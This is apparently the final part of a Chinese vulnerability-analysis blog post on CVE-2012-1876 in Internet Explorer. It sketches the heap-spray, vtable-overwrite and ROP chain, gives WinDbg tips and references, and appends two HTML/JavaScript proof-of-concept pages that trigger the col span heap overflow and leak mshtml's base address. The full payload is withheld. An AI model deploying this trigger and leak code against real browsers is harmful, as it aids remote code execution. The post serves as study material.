利用部分

地址泄漏之后,通过覆盖虚函数表,需要结合HeapSpray和ROP等技术,大体内容与上一个案例相差无几。不再赘述了。

精确堆喷射->将rop和shellcode喷射到可控位置

覆盖虚函数表->将程序导入rop链中->stack povit将栈帧转移到堆中->ROP->PWN

因为我国的网络安全法的试行条例,完整的Exploit就不放出了。不过这个Exploit写出来稳定性还是非常高的,笔者也凭借该漏洞展示,混过了一次课堂作品展示。

笔者的课堂演示

Windbg的几个小技巧[每次实践中记一些]

对Jscript5引擎(Jscript.dll)的调试还是没什么经验,导致调试过程基本按照书本走。

1
2
3
4
5
6
7
8
9
bl显示所有断点
bc清除断点
bd 屏蔽断点be恢复断点
bu xxx“.command; command” 断点后的操作,提高自动化程度

gu运行到该函数退出 #类似gdb的finish
p num运行num行
.logopen开启日志
.logclose关闭日志

参考文献:

[1]《现代windows漏洞利用程序开发》,2016

[2] msf.[漏洞exploit工具-mona系列4] mona实战系列[DB/OL].

https://bbs.pediy.com/thread-198293.htm,2015-3-1

[3]sakura零.漏洞战争:CVE-2012-1876调试笔记[DB/OL].

https://bbs.pediy.com/thread-225252.htm,2018-3-18

[4]xd0ol1.WinDbg 漏洞分析调试.https://paper.seebug.org/182/[DB/OL],2017-01-12

附录

调试用exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196

<html>
<body>
<div id="evil"></div>
<script language='javascript'>

var leak_index = -1;
var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;

var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;

var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;

var arr = new Array();
var rra = new Array();

var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
//1.布局堆块内存
for (var i=0; i < 500; i+=2) {
// E
rra[i] = dap.substring(0, (0x100-6)/2);
// S, bstr = A
arr[i] = padding.substring(0, (0x100-6)/2);
// A, bstr = B
arr[i+1] = filler.substring(0, (0x100-6)/2);
// B
var obj = document.createElement("button");
div_container.appendChild(obj);

}

for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}

Math.cos(3,2)
</script>

<table style="table-layout:fixed" ><col id="1" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="2" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="3" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="4" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="5" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="6" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="7" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="8" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="9" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="10" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="11" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="12" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="13" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="14" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="15" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="16" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="17" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="18" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="19" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="20" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="21" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="22" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="23" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="24" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="25" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="26" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="27" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="28" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="29" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="30" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="31" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="32" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="33" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="34" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="35" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="36" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="37" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="38" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="39" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="40" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="41" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="42" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="43" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="44" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="45" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="46" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="47" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="48" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="49" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="50" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="51" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="52" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="53" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="54" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="55" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="56" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="57" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="58" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="59" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="60" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="61" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="62" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="63" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="64" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="65" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="66" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="67" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="68" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="69" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="70" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="71" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="72" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="73" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="74" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="75" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="76" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="77" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="78" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="79" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="80" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="81" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="82" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="83" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="84" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="85" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="86" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="87" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="88" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="89" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="90" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="91" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="92" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="93" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="94" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="95" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="96" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="97" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="98" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="99" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="100" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="101" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="102" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="103" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="104" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="105" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="106" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="107" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="108" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="109" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="110" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="111" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="112" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="113" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="114" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="115" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="116" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="117" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="118" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="119" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="120" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="121" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="122" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="123" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="124" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="125" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="126" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="127" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="128" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="129" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="130" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="131" width="41" span="9" >&nbsp</col></table>
<table style="table-layout:fixed" ><col id="132" width="41" span="9" >&nbsp</col></table>

<script language='javascript'>
var evil_col = document.getElementById("132");
evil_col.span = "19";
alert("over flow");

var leak_addr=-1;
for(var i = 0;i<500;i++){
if(arr[i].length>(0x100-6)/2){
leak_index=i;
var leak=arr[i].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2);
leak_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16),16);
alert(leak_addr.toString(16));
leak_addr=leak_addr-Number(0x001584f8);
alert(leak_addr.toString(16));
break;
}
}
</script>
</body>
</html>

精简后的exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<html>
<body>
<div id="test"></div>
<script type="text/javascript">

var leak_index=-1;
var dap="EEEE";
while(dap.length<480) dap+=dap;
var padding="AAAA";
while(padding.length<480) padding+=padding;
var filler="BBBB";
while(filler.length<480) filler+=filler;

var arry1=new Array();
var arry2=new Array();

var div_container=document.getElementById("test");
div_container.style.cssText="display:none";

for(var i=0;i<500;i+=2)
{
arry1[i]=dap.substring(0,(0x100-6)/2) //减去BSTR的头部4+结尾2字节,因为unicode编码除2
arry2[i]=padding.substring(0,(0x100-6)/2)
arry2[i+1]=filler.substring(0,(0x100-6)/2)
Math.tan(1,2)
var obj=document.createElement("button");
div_container.appendChild(obj);
}
for(var i=200;i<500;i+=2)
{
arry1[i]=null;
CollectGarbage();
}
Math.cos(1,2)
for (var i=200; i<500; i+=2 ) {
arry1[i] = null;
CollectGarbage();
}
</script>
<table style="table-layout:fixed" >
<col id="132" width="41" span="9" >&nbsp </col>
</table>
<script>
Math.sin(1,2)
//1.Overflow

var obj_col = document.getElementById("132");
//obj_col.width = "41";
obj_col.span = "19";
alert("overflow")
Math.tan()
//2.Leak address
for(var i=0;i<500;i++)
{
if(arry2[i].length>(0x100-6)/2)
{
leak=arry2[i].substring((0x100-6)/2+(2+20)/2,(0x100-6)/2+(2+20+4)/2)
leak_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16),16);
alert("vrftable="+leak_addr.toString(16));

mshtml_addr=leak_addr-Number(0x00158690);
alert("mshtml_addr="+mshtml_addr.toString(16));

}
}



</script>
</body>
</html>